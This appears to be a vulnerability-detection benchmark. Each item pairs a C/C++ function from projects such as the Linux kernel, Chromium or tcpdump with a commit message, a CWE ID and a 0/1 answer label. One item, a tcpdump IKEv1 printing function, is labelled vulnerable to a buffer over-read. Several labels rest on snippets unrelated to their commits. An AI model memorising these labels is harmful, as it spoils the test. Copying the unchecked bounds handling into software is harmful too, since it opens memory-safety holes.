Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int lrw_serpent_setkey(struct crypto_tfm *tfm, const u8 *key, unsigned int keylen) { struct serpent_lrw_ctx *ctx = crypto_tfm_ctx(tfm); int err; err = __serpent_setkey(&ctx->serpent_ctx, key, keylen - SERPENT_BLOCK_SIZE); if (err) return err; return lrw_init_table(&ctx->lrw_table, key + keylen - SERPENT_BLOCK_SIZE); } Commit Message: crypto: prefix module autoloading with "crypto-" This prefixes all crypto module loading with "crypto-" so we never run the risk of exposing module auto-loading to userspace via a crypto API, as demonstrated by Mathias Krause: https://lkml.org/lkml/2013/3/4/70 Signed-off-by: Kees Cook <keescook@chromium.org> Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au> CWE ID: CWE-264
0
47,019
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int load_segment_descriptor(struct x86_emulate_ctxt *ctxt, u16 selector, int seg) { u8 cpl = ctxt->ops->cpl(ctxt); return __load_segment_descriptor(ctxt, selector, seg, cpl, false); } Commit Message: KVM: x86: Emulator fixes for eip canonical checks on near branches Before changing rip (during jmp, call, ret, etc.) the target should be asserted to be canonical one, as real CPUs do. During sysret, both target rsp and rip should be canonical. If any of these values is noncanonical, a #GP exception should occur. The exception to this rule are syscall and sysenter instructions in which the assigned rip is checked during the assignment to the relevant MSRs. This patch fixes the emulator to behave as real CPUs do for near branches. Far branches are handled by the next patch. This fixes CVE-2014-3647. Cc: stable@vger.kernel.org Signed-off-by: Nadav Amit <namit@cs.technion.ac.il> Signed-off-by: Paolo Bonzini <pbonzini@redhat.com> CWE ID: CWE-264
0
94,552
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void SyncBackendHost::HandleClearServerDataSucceededOnFrontendLoop() { if (!frontend_) return; frontend_->OnClearServerDataSucceeded(); } Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default. BUG=none TEST= Review URL: https://chromiumcodereview.appspot.com/10443046 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-362
0
104,852
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static void btrfs_split_extent_hook(struct inode *inode, struct extent_state *orig, u64 split) { /* not delalloc, ignore it */ if (!(orig->state & EXTENT_DELALLOC)) return; spin_lock(&BTRFS_I(inode)->lock); BTRFS_I(inode)->outstanding_extents++; spin_unlock(&BTRFS_I(inode)->lock); } Commit Message: Btrfs: fix hash overflow handling The handling for directory crc hash overflows was fairly obscure, split_leaf returns EOVERFLOW when we try to extend the item and that is supposed to bubble up to userland. For a while it did so, but along the way we added better handling of errors and forced the FS readonly if we hit IO errors during the directory insertion. Along the way, we started testing only for EEXIST and the EOVERFLOW case was dropped. The end result is that we may force the FS readonly if we catch a directory hash bucket overflow. This fixes a few problem spots. First I add tests for EOVERFLOW in the places where we can safely just return the error up the chain. btrfs_rename is harder though, because it tries to insert the new directory item only after it has already unlinked anything the rename was going to overwrite. Rather than adding very complex logic, I added a helper to test for the hash overflow case early while it is still safe to bail out. Snapshot and subvolume creation had a similar problem, so they are using the new helper now too. Signed-off-by: Chris Mason <chris.mason@fusionio.com> Reported-by: Pascal Junod <pascal@junod.info> CWE ID: CWE-310
0
34,347
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: bool venc_dev::venc_set_error_resilience(OMX_VIDEO_PARAM_ERRORCORRECTIONTYPE* error_resilience) { bool status = true; struct venc_headerextension hec_cfg; struct venc_multiclicecfg multislice_cfg; int rc; OMX_U32 resynchMarkerSpacingBytes = 0; struct v4l2_control control; memset(&control, 0, sizeof(control)); if (m_sVenc_cfg.codectype == V4L2_PIX_FMT_MPEG4) { if (error_resilience->bEnableHEC) { hec_cfg.header_extension = 1; } else { hec_cfg.header_extension = 0; } hec.header_extension = error_resilience->bEnableHEC; } if (error_resilience->bEnableRVLC) { DEBUG_PRINT_ERROR("RVLC is not Supported"); return false; } if (( m_sVenc_cfg.codectype != V4L2_PIX_FMT_H263) && (error_resilience->bEnableDataPartitioning)) { DEBUG_PRINT_ERROR("DataPartioning are not Supported for MPEG4/H264"); return false; } if (error_resilience->nResynchMarkerSpacing) { resynchMarkerSpacingBytes = error_resilience->nResynchMarkerSpacing; resynchMarkerSpacingBytes = ALIGN(resynchMarkerSpacingBytes, 8) >> 3; } if (( m_sVenc_cfg.codectype != V4L2_PIX_FMT_H263) && (error_resilience->nResynchMarkerSpacing)) { multislice_cfg.mslice_mode = VEN_MSLICE_CNT_BYTE; multislice_cfg.mslice_size = resynchMarkerSpacingBytes; control.id = V4L2_CID_MPEG_VIDEO_MULTI_SLICE_MODE; control.value = V4L2_MPEG_VIDEO_MULTI_SICE_MODE_MAX_BYTES; } else if (m_sVenc_cfg.codectype == V4L2_PIX_FMT_H263 && error_resilience->bEnableDataPartitioning) { multislice_cfg.mslice_mode = VEN_MSLICE_GOB; multislice_cfg.mslice_size = resynchMarkerSpacingBytes; control.id = V4L2_CID_MPEG_VIDEO_MULTI_SLICE_MODE; control.value = V4L2_MPEG_VIDEO_MULTI_SLICE_GOB; } else { multislice_cfg.mslice_mode = VEN_MSLICE_OFF; multislice_cfg.mslice_size = 0; control.id = V4L2_CID_MPEG_VIDEO_MULTI_SLICE_MODE; control.value = V4L2_MPEG_VIDEO_MULTI_SLICE_MODE_SINGLE; } DEBUG_PRINT_LOW("%s(): mode = %lu, size = %lu", __func__, multislice_cfg.mslice_mode, multislice_cfg.mslice_size); DEBUG_PRINT_ERROR("Calling IOCTL set control for id=%x, val=%d", control.id, control.value); rc = ioctl(m_nDriver_fd, VIDIOC_S_CTRL, &control); if (rc) { DEBUG_PRINT_ERROR("Failed to set Slice mode control"); return false; } DEBUG_PRINT_ERROR("Success IOCTL set control for id=%x, value=%d", control.id, control.value); multislice.mslice_mode=control.value; control.id = V4L2_CID_MPEG_VIDEO_MULTI_SLICE_MAX_BYTES; control.value = resynchMarkerSpacingBytes; DEBUG_PRINT_ERROR("Calling IOCTL set control for id=%x, val=%d", control.id, control.value); rc = ioctl(m_nDriver_fd, VIDIOC_S_CTRL, &control); if (rc) { DEBUG_PRINT_ERROR("Failed to set MAX MB control"); return false; } DEBUG_PRINT_ERROR("Success IOCTL set control for id=%x, value=%d", control.id, control.value); multislice.mslice_mode = multislice_cfg.mslice_mode; multislice.mslice_size = multislice_cfg.mslice_size; return status; } Commit Message: DO NOT MERGE mm-video-v4l2: venc: add checks before accessing heap pointers Heap pointers do not point to user virtual addresses in case of secure session. Set them to NULL and add checks to avoid accesing them Bug: 28815329 Bug: 28920116 Change-Id: I94fd5808e753b58654d65e175d3857ef46ffba26 CWE ID: CWE-200
0
159,285
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void BaseRenderingContext2D::setTransform(double m11, double m12, double m21, double m22, double dx, double dy) { PaintCanvas* c = DrawingCanvas(); if (!c) return; if (!std::isfinite(m11) || !std::isfinite(m21) || !std::isfinite(dx) || !std::isfinite(m12) || !std::isfinite(m22) || !std::isfinite(dy)) return; resetTransform(); transform(m11, m12, m21, m22, dx, dy); } Commit Message: [PE] Distinguish between tainting due to canvas content and filter. A filter on a canvas can itself lead to origin tainting, for reasons other than that the canvas contents are tainted. This CL changes to distinguish these two causes, so that we recompute filters on content-tainting change. Bug: 778506 Change-Id: I3cec8ef3b2772f2af78cdd4b290520113092cca6 Reviewed-on: https://chromium-review.googlesource.com/811767 Reviewed-by: Fredrik Söderquist <fs@opera.com> Commit-Queue: Chris Harrelson <chrishtr@chromium.org> Cr-Commit-Position: refs/heads/master@{#522274} CWE ID: CWE-200
0
149,962
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static HandlerStarter* Get() { static HandlerStarter* instance = new HandlerStarter(); return instance; } Commit Message: Add Android SDK version to crash reports. Bug: 911669 Change-Id: I62a97d76a0b88099a5a42b93463307f03be9b3e2 Reviewed-on: https://chromium-review.googlesource.com/c/1361104 Reviewed-by: Jochen Eisinger <jochen@chromium.org> Reviewed-by: Peter Conn <peconn@chromium.org> Reviewed-by: Ilya Sherman <isherman@chromium.org> Commit-Queue: Michael van Ouwerkerk <mvanouwerkerk@chromium.org> Cr-Commit-Position: refs/heads/master@{#615851} CWE ID: CWE-189
0
142,567
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static void __user *u64_to_ptr(__u64 val) { return (void __user *) (unsigned long) val; } Commit Message: bpf: fix refcnt overflow On a system with >32Gbyte of phyiscal memory and infinite RLIMIT_MEMLOCK, the malicious application may overflow 32-bit bpf program refcnt. It's also possible to overflow map refcnt on 1Tb system. Impose 32k hard limit which means that the same bpf program or map cannot be shared by more than 32k processes. Fixes: 1be7f75d1668 ("bpf: enable non-root eBPF programs") Reported-by: Jann Horn <jannh@google.com> Signed-off-by: Alexei Starovoitov <ast@kernel.org> Acked-by: Daniel Borkmann <daniel@iogearbox.net> Signed-off-by: David S. Miller <davem@davemloft.net> CWE ID:
0
53,078
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: int lxc_assign_network(struct lxc_list *network, pid_t pid) { struct lxc_list *iterator; struct lxc_netdev *netdev; int am_root = (getuid() == 0); int err; lxc_list_for_each(iterator, network) { netdev = iterator->elem; if (netdev->type == LXC_NET_VETH && !am_root) { if (unpriv_assign_nic(netdev, pid)) return -1; continue; } /* empty network namespace, nothing to move */ if (!netdev->ifindex) continue; err = lxc_netdev_move_by_index(netdev->ifindex, pid, NULL); if (err) { ERROR("failed to move '%s' to the container : %s", netdev->link, strerror(-err)); return -1; } DEBUG("move '%s' to '%d'", netdev->name, pid); } return 0; } Commit Message: CVE-2015-1335: Protect container mounts against symlinks When a container starts up, lxc sets up the container's inital fstree by doing a bunch of mounting, guided by the container configuration file. The container config is owned by the admin or user on the host, so we do not try to guard against bad entries. However, since the mount target is in the container, it's possible that the container admin could divert the mount with symbolic links. This could bypass proper container startup (i.e. confinement of a root-owned container by the restrictive apparmor policy, by diverting the required write to /proc/self/attr/current), or bypass the (path-based) apparmor policy by diverting, say, /proc to /mnt in the container. To prevent this, 1. do not allow mounts to paths containing symbolic links 2. do not allow bind mounts from relative paths containing symbolic links. Details: Define safe_mount which ensures that the container has not inserted any symbolic links into any mount targets for mounts to be done during container setup. The host's mount path may contain symbolic links. As it is under the control of the administrator, that's ok. So safe_mount begins the check for symbolic links after the rootfs->mount, by opening that directory. It opens each directory along the path using openat() relative to the parent directory using O_NOFOLLOW. When the target is reached, it mounts onto /proc/self/fd/<targetfd>. Use safe_mount() in mount_entry(), when mounting container proc, and when needed. In particular, safe_mount() need not be used in any case where: 1. the mount is done in the container's namespace 2. the mount is for the container's rootfs 3. the mount is relative to a tmpfs or proc/sysfs which we have just safe_mount()ed ourselves Since we were using proc/net as a temporary placeholder for /proc/sys/net during container startup, and proc/net is a symbolic link, use proc/tty instead. Update the lxc.container.conf manpage with details about the new restrictions. Finally, add a testcase to test some symbolic link possibilities. Reported-by: Roman Fiedler Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com> Acked-by: Stéphane Graber <stgraber@ubuntu.com> CWE ID: CWE-59
0
44,578
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void RenderBlock::layoutLineGridBox() { if (style()->lineGrid() == RenderStyle::initialLineGrid()) { setLineGridBox(0); return; } setLineGridBox(0); RootInlineBox* lineGridBox = new RootInlineBox(this); lineGridBox->setHasTextChildren(); // Needed to make the line ascent/descent actually be honored in quirks mode. lineGridBox->setConstructed(); GlyphOverflowAndFallbackFontsMap textBoxDataMap; VerticalPositionCache verticalPositionCache; lineGridBox->alignBoxesInBlockDirection(logicalHeight(), textBoxDataMap, verticalPositionCache); setLineGridBox(lineGridBox); } Commit Message: Update containtingIsolate to go back all the way to top isolate from current root, rather than stopping at the first isolate it finds. This works because the current root is always updated with each isolate run. BUG=279277 Review URL: https://chromiumcodereview.appspot.com/23972003 git-svn-id: svn://svn.chromium.org/blink/trunk@157268 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-399
0
111,371
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: ikev1_attrmap_print(netdissect_options *ndo, const u_char *p, const u_char *ep, const struct attrmap *map, size_t nmap) { int totlen; uint32_t t, v; if (p[0] & 0x80) totlen = 4; else totlen = 4 + EXTRACT_16BITS(&p[2]); if (ep < p + totlen) { ND_PRINT((ndo,"[|attr]")); return ep + 1; } ND_PRINT((ndo,"(")); t = EXTRACT_16BITS(&p[0]) & 0x7fff; if (map && t < nmap && map[t].type) ND_PRINT((ndo,"type=%s ", map[t].type)); else ND_PRINT((ndo,"type=#%d ", t)); if (p[0] & 0x80) { ND_PRINT((ndo,"value=")); v = EXTRACT_16BITS(&p[2]); if (map && t < nmap && v < map[t].nvalue && map[t].value[v]) ND_PRINT((ndo,"%s", map[t].value[v])); else rawprint(ndo, (const uint8_t *)&p[2], 2); } else { ND_PRINT((ndo,"len=%d value=", EXTRACT_16BITS(&p[2]))); rawprint(ndo, (const uint8_t *)&p[4], EXTRACT_16BITS(&p[2])); } ND_PRINT((ndo,")")); return p + totlen; } Commit Message: CVE-2017-13039/IKEv1: Do more bounds checking. Have ikev1_attrmap_print() and ikev1_attr_print() do full bounds checking, and return null on a bounds overflow. Have their callers check for a null return. This fixes a buffer over-read discovered by Bhargava Shastry, SecT/TU Berlin. Add a test using the capture file supplied by the reporter(s), modified so the capture file won't be rejected as an invalid capture. CWE ID: CWE-125
1
167,840
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int perf_mmap(struct file *file, struct vm_area_struct *vma) { struct perf_event *event = file->private_data; unsigned long user_locked, user_lock_limit; struct user_struct *user = current_user(); unsigned long locked, lock_limit; struct ring_buffer *rb; unsigned long vma_size; unsigned long nr_pages; long user_extra, extra; int ret = 0, flags = 0; /* * Don't allow mmap() of inherited per-task counters. This would * create a performance issue due to all children writing to the * same rb. */ if (event->cpu == -1 && event->attr.inherit) return -EINVAL; if (!(vma->vm_flags & VM_SHARED)) return -EINVAL; vma_size = vma->vm_end - vma->vm_start; nr_pages = (vma_size / PAGE_SIZE) - 1; /* * If we have rb pages ensure they're a power-of-two number, so we * can do bitmasks instead of modulo. */ if (nr_pages != 0 && !is_power_of_2(nr_pages)) return -EINVAL; if (vma_size != PAGE_SIZE * (1 + nr_pages)) return -EINVAL; if (vma->vm_pgoff != 0) return -EINVAL; WARN_ON_ONCE(event->ctx->parent_ctx); mutex_lock(&event->mmap_mutex); if (event->rb) { if (event->rb->nr_pages == nr_pages) atomic_inc(&event->rb->refcount); else ret = -EINVAL; goto unlock; } user_extra = nr_pages + 1; user_lock_limit = sysctl_perf_event_mlock >> (PAGE_SHIFT - 10); /* * Increase the limit linearly with more CPUs: */ user_lock_limit *= num_online_cpus(); user_locked = atomic_long_read(&user->locked_vm) + user_extra; extra = 0; if (user_locked > user_lock_limit) extra = user_locked - user_lock_limit; lock_limit = rlimit(RLIMIT_MEMLOCK); lock_limit >>= PAGE_SHIFT; locked = vma->vm_mm->pinned_vm + extra; if ((locked > lock_limit) && perf_paranoid_tracepoint_raw() && !capable(CAP_IPC_LOCK)) { ret = -EPERM; goto unlock; } WARN_ON(event->rb); if (vma->vm_flags & VM_WRITE) flags |= RING_BUFFER_WRITABLE; rb = rb_alloc(nr_pages, event->attr.watermark ? event->attr.wakeup_watermark : 0, event->cpu, flags); if (!rb) { ret = -ENOMEM; goto unlock; } rcu_assign_pointer(event->rb, rb); atomic_long_add(user_extra, &user->locked_vm); event->mmap_locked = extra; event->mmap_user = get_current_user(); vma->vm_mm->pinned_vm += event->mmap_locked; perf_event_update_userpage(event); unlock: if (!ret) atomic_inc(&event->mmap_count); mutex_unlock(&event->mmap_mutex); vma->vm_flags |= VM_DONTEXPAND | VM_DONTDUMP; vma->vm_ops = &perf_mmap_vmops; return ret; } Commit Message: perf: Treat attr.config as u64 in perf_swevent_init() Trinity discovered that we fail to check all 64 bits of attr.config passed by user space, resulting to out-of-bounds access of the perf_swevent_enabled array in sw_perf_event_destroy(). Introduced in commit b0a873ebb ("perf: Register PMU implementations"). Signed-off-by: Tommi Rantala <tt.rantala@gmail.com> Cc: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: davej@redhat.com Cc: Paul Mackerras <paulus@samba.org> Cc: Arnaldo Carvalho de Melo <acme@ghostprotocols.net> Link: http://lkml.kernel.org/r/1365882554-30259-1-git-send-email-tt.rantala@gmail.com Signed-off-by: Ingo Molnar <mingo@kernel.org> CWE ID: CWE-189
0
31,964
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: GC_API void * GC_CALL GC_generic_malloc(size_t lb, int k) { void * result; DCL_LOCK_STATE; if (EXPECT(GC_have_errors, FALSE)) GC_print_all_errors(); GC_INVOKE_FINALIZERS(); if (SMALL_OBJ(lb)) { LOCK(); result = GC_generic_malloc_inner((word)lb, k); UNLOCK(); } else { size_t lg; size_t lb_rounded; word n_blocks; GC_bool init; lg = ROUNDED_UP_GRANULES(lb); lb_rounded = GRANULES_TO_BYTES(lg); if (lb_rounded < lb) return((*GC_get_oom_fn())(lb)); n_blocks = OBJ_SZ_TO_BLOCKS(lb_rounded); init = GC_obj_kinds[k].ok_init; LOCK(); result = (ptr_t)GC_alloc_large(lb_rounded, k, 0); if (0 != result) { if (GC_debugging_started) { BZERO(result, n_blocks * HBLKSIZE); } else { # ifdef THREADS /* Clear any memory that might be used for GC descriptors */ /* before we release the lock. */ ((word *)result)[0] = 0; ((word *)result)[1] = 0; ((word *)result)[GRANULES_TO_WORDS(lg)-1] = 0; ((word *)result)[GRANULES_TO_WORDS(lg)-2] = 0; # endif } } GC_bytes_allocd += lb_rounded; UNLOCK(); if (init && !GC_debugging_started && 0 != result) { BZERO(result, n_blocks * HBLKSIZE); } } if (0 == result) { return((*GC_get_oom_fn())(lb)); } else { return(result); } } Commit Message: Fix calloc-related code to prevent SIZE_MAX redefinition in sys headers * malloc.c: Include limits.h for SIZE_MAX. * malloc.c (SIZE_MAX, calloc): Define GC_SIZE_MAX instead of SIZE_MAX. CWE ID: CWE-189
0
94,307
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static long kvm_vcpu_ioctl(struct file *filp, unsigned int ioctl, unsigned long arg) { struct kvm_vcpu *vcpu = filp->private_data; void __user *argp = (void __user *)arg; int r; struct kvm_fpu *fpu = NULL; struct kvm_sregs *kvm_sregs = NULL; if (vcpu->kvm->mm != current->mm) return -EIO; #if defined(CONFIG_S390) || defined(CONFIG_PPC) || defined(CONFIG_MIPS) /* * Special cases: vcpu ioctls that are asynchronous to vcpu execution, * so vcpu_load() would break it. */ if (ioctl == KVM_S390_INTERRUPT || ioctl == KVM_INTERRUPT) return kvm_arch_vcpu_ioctl(filp, ioctl, arg); #endif r = vcpu_load(vcpu); if (r) return r; switch (ioctl) { case KVM_RUN: r = -EINVAL; if (arg) goto out; r = kvm_arch_vcpu_ioctl_run(vcpu, vcpu->run); trace_kvm_userspace_exit(vcpu->run->exit_reason, r); break; case KVM_GET_REGS: { struct kvm_regs *kvm_regs; r = -ENOMEM; kvm_regs = kzalloc(sizeof(struct kvm_regs), GFP_KERNEL); if (!kvm_regs) goto out; r = kvm_arch_vcpu_ioctl_get_regs(vcpu, kvm_regs); if (r) goto out_free1; r = -EFAULT; if (copy_to_user(argp, kvm_regs, sizeof(struct kvm_regs))) goto out_free1; r = 0; out_free1: kfree(kvm_regs); break; } case KVM_SET_REGS: { struct kvm_regs *kvm_regs; r = -ENOMEM; kvm_regs = memdup_user(argp, sizeof(*kvm_regs)); if (IS_ERR(kvm_regs)) { r = PTR_ERR(kvm_regs); goto out; } r = kvm_arch_vcpu_ioctl_set_regs(vcpu, kvm_regs); kfree(kvm_regs); break; } case KVM_GET_SREGS: { kvm_sregs = kzalloc(sizeof(struct kvm_sregs), GFP_KERNEL); r = -ENOMEM; if (!kvm_sregs) goto out; r = kvm_arch_vcpu_ioctl_get_sregs(vcpu, kvm_sregs); if (r) goto out; r = -EFAULT; if (copy_to_user(argp, kvm_sregs, sizeof(struct kvm_sregs))) goto out; r = 0; break; } case KVM_SET_SREGS: { kvm_sregs = memdup_user(argp, sizeof(*kvm_sregs)); if (IS_ERR(kvm_sregs)) { r = PTR_ERR(kvm_sregs); kvm_sregs = NULL; goto out; } r = kvm_arch_vcpu_ioctl_set_sregs(vcpu, kvm_sregs); break; } case KVM_GET_MP_STATE: { struct kvm_mp_state mp_state; r = kvm_arch_vcpu_ioctl_get_mpstate(vcpu, &mp_state); if (r) goto out; r = -EFAULT; if (copy_to_user(argp, &mp_state, sizeof mp_state)) goto out; r = 0; break; } case KVM_SET_MP_STATE: { struct kvm_mp_state mp_state; r = -EFAULT; if (copy_from_user(&mp_state, argp, sizeof mp_state)) goto out; r = kvm_arch_vcpu_ioctl_set_mpstate(vcpu, &mp_state); break; } case KVM_TRANSLATE: { struct kvm_translation tr; r = -EFAULT; if (copy_from_user(&tr, argp, sizeof tr)) goto out; r = kvm_arch_vcpu_ioctl_translate(vcpu, &tr); if (r) goto out; r = -EFAULT; if (copy_to_user(argp, &tr, sizeof tr)) goto out; r = 0; break; } case KVM_SET_GUEST_DEBUG: { struct kvm_guest_debug dbg; r = -EFAULT; if (copy_from_user(&dbg, argp, sizeof dbg)) goto out; r = kvm_arch_vcpu_ioctl_set_guest_debug(vcpu, &dbg); break; } case KVM_SET_SIGNAL_MASK: { struct kvm_signal_mask __user *sigmask_arg = argp; struct kvm_signal_mask kvm_sigmask; sigset_t sigset, *p; p = NULL; if (argp) { r = -EFAULT; if (copy_from_user(&kvm_sigmask, argp, sizeof kvm_sigmask)) goto out; r = -EINVAL; if (kvm_sigmask.len != sizeof sigset) goto out; r = -EFAULT; if (copy_from_user(&sigset, sigmask_arg->sigset, sizeof sigset)) goto out; p = &sigset; } r = kvm_vcpu_ioctl_set_sigmask(vcpu, p); break; } case KVM_GET_FPU: { fpu = kzalloc(sizeof(struct kvm_fpu), GFP_KERNEL); r = -ENOMEM; if (!fpu) goto out; r = kvm_arch_vcpu_ioctl_get_fpu(vcpu, fpu); if (r) goto out; r = -EFAULT; if (copy_to_user(argp, fpu, sizeof(struct kvm_fpu))) goto out; r = 0; break; } case KVM_SET_FPU: { fpu = memdup_user(argp, sizeof(*fpu)); if (IS_ERR(fpu)) { r = PTR_ERR(fpu); fpu = NULL; goto out; } r = kvm_arch_vcpu_ioctl_set_fpu(vcpu, fpu); break; } default: r = kvm_arch_vcpu_ioctl(filp, ioctl, arg); } out: vcpu_put(vcpu); kfree(fpu); kfree(kvm_sregs); return r; } Commit Message: KVM: Improve create VCPU parameter (CVE-2013-4587) In multiple functions the vcpu_id is used as an offset into a bitfield. Ag malicious user could specify a vcpu_id greater than 255 in order to set or clear bits in kernel memory. This could be used to elevate priveges in the kernel. This patch verifies that the vcpu_id provided is less than 255. The api documentation already specifies that the vcpu_id must be less than max_vcpus, but this is currently not checked. Reported-by: Andrew Honig <ahonig@google.com> Cc: stable@vger.kernel.org Signed-off-by: Andrew Honig <ahonig@google.com> Signed-off-by: Paolo Bonzini <pbonzini@redhat.com> CWE ID: CWE-20
0
29,354
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: mojom::ReportingMode PlatformSensorAmbientLightMac::GetReportingMode() { return mojom::ReportingMode::ON_CHANGE; } Commit Message: android: Fix sensors in device service. This patch fixes a bug that prevented more than one sensor data to be available at once when using the device motion/orientation API. The issue was introduced by this other patch [1] which fixed some security-related issues in the way shared memory region handles are managed throughout Chromium (more details at https://crbug.com/789959). The device service´s sensor implementation doesn´t work correctly because it assumes it is possible to create a writable mapping of a given shared memory region at any time. This assumption is not correct on Android, once an Ashmem region has been turned read-only, such mappings are no longer possible. To fix the implementation, this CL changes the following: - PlatformSensor used to require moving a mojo::ScopedSharedBufferMapping into the newly-created instance. Said mapping being owned by and destroyed with the PlatformSensor instance. With this patch, the constructor instead takes a single pointer to the corresponding SensorReadingSharedBuffer, i.e. the area in memory where the sensor-specific reading data is located, and can be either updated or read-from. Note that the PlatformSensor does not own the mapping anymore. - PlatformSensorProviderBase holds the *single* writable mapping that is used to store all SensorReadingSharedBuffer buffers. It is created just after the region itself, and thus can be used even after the region's access mode has been changed to read-only. Addresses within the mapping will be passed to PlatformSensor constructors, computed from the mapping's base address plus a sensor-specific offset. The mapping is now owned by the PlatformSensorProviderBase instance. Note that, security-wise, nothing changes, because all mojo::ScopedSharedBufferMapping before the patch actually pointed to the same writable-page in memory anyway. Since unit or integration tests didn't catch the regression when [1] was submitted, this patch was tested manually by running a newly-built Chrome apk in the Android emulator and on a real device running Android O. [1] https://chromium-review.googlesource.com/c/chromium/src/+/805238 BUG=805146 R=mattcary@chromium.org,alexilin@chromium.org,juncai@chromium.org,reillyg@chromium.org Change-Id: I7d60a1cad278f48c361d2ece5a90de10eb082b44 Reviewed-on: https://chromium-review.googlesource.com/891180 Commit-Queue: David Turner <digit@chromium.org> Reviewed-by: Reilly Grant <reillyg@chromium.org> Reviewed-by: Matthew Cary <mattcary@chromium.org> Reviewed-by: Alexandr Ilin <alexilin@chromium.org> Cr-Commit-Position: refs/heads/master@{#532607} CWE ID: CWE-732
0
148,933
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int handle_statfs(FsContext *ctx, V9fsPath *fs_path, struct statfs *stbuf) { int fd, ret; struct handle_data *data = (struct handle_data *)ctx->private; fd = open_by_handle(data->mountfd, fs_path->data, O_NONBLOCK); if (fd < 0) { return fd; } ret = fstatfs(fd, stbuf); close(fd); return ret; } Commit Message: CWE ID: CWE-400
0
7,694
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void _dbus_print_backtrace(void) { init_backtrace(); dump_backtrace(); } Commit Message: CWE ID: CWE-20
0
3,810
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static zend_bool php_auto_globals_create_post(const char *name, uint name_len TSRMLS_DC) { zval *vars; if (PG(variables_order) && (strchr(PG(variables_order),'P') || strchr(PG(variables_order),'p')) && SG(request_info).request_method && !strcasecmp(SG(request_info).request_method, "POST")) { sapi_module.treat_data(PARSE_POST, NULL, NULL TSRMLS_CC); vars = PG(http_globals)[TRACK_VARS_POST]; } else { ALLOC_ZVAL(vars); array_init(vars); INIT_PZVAL(vars); if (PG(http_globals)[TRACK_VARS_POST]) { zval_ptr_dtor(&PG(http_globals)[TRACK_VARS_POST]); } PG(http_globals)[TRACK_VARS_POST] = vars; } zend_hash_update(&EG(symbol_table), name, name_len + 1, &vars, sizeof(zval *), NULL); Z_ADDREF_P(vars); return 0; /* don't rearm */ } Commit Message: Fix bug #73807 CWE ID: CWE-400
0
63,614
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: vrrp_prio_handler(vector_t *strvec) { vrrp_t *vrrp = LIST_TAIL_DATA(vrrp_data->vrrp); unsigned base_priority; if (!read_unsigned_strvec(strvec, 1, &base_priority, 1, VRRP_PRIO_OWNER, false)) { report_config_error(CONFIG_GENERAL_ERROR, "(%s) Priority not valid! must be between 1 & %d. Using default %d", vrrp->iname, VRRP_PRIO_OWNER, VRRP_PRIO_DFL); vrrp->base_priority = VRRP_PRIO_DFL; } else vrrp->base_priority = (uint8_t)base_priority; } Commit Message: When opening files for write, ensure they aren't symbolic links Issue #1048 identified that if, for example, a non privileged user created a symbolic link from /etc/keepalvied.data to /etc/passwd, writing to /etc/keepalived.data (which could be invoked via DBus) would cause /etc/passwd to be overwritten. This commit stops keepalived writing to pathnames where the ultimate component is a symbolic link, by setting O_NOFOLLOW whenever opening a file for writing. This might break some setups, where, for example, /etc/keepalived.data was a symbolic link to /home/fred/keepalived.data. If this was the case, instead create a symbolic link from /home/fred/keepalived.data to /tmp/keepalived.data, so that the file is still accessible via /home/fred/keepalived.data. There doesn't appear to be a way around this backward incompatibility, since even checking if the pathname is a symbolic link prior to opening for writing would create a race condition. Signed-off-by: Quentin Armitage <quentin@armitage.org.uk> CWE ID: CWE-59
0
76,028
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void DownloadResourceHandler::OnResponseStarted( network::ResourceResponse* response, std::unique_ptr<ResourceController> controller) { if (core_.OnResponseStarted(response->head.mime_type)) { controller->Resume(); } else { controller->Cancel(); } } Commit Message: When turning a download into a navigation, navigate the right frame Code changes from Nate Chapin <japhet@chromium.org> Bug: 926105 Change-Id: I098599394e6ebe7d2fce5af838014297a337d294 Reviewed-on: https://chromium-review.googlesource.com/c/1454962 Reviewed-by: Camille Lamy <clamy@chromium.org> Commit-Queue: Jochen Eisinger <jochen@chromium.org> Cr-Commit-Position: refs/heads/master@{#629547} CWE ID: CWE-284
0
151,979
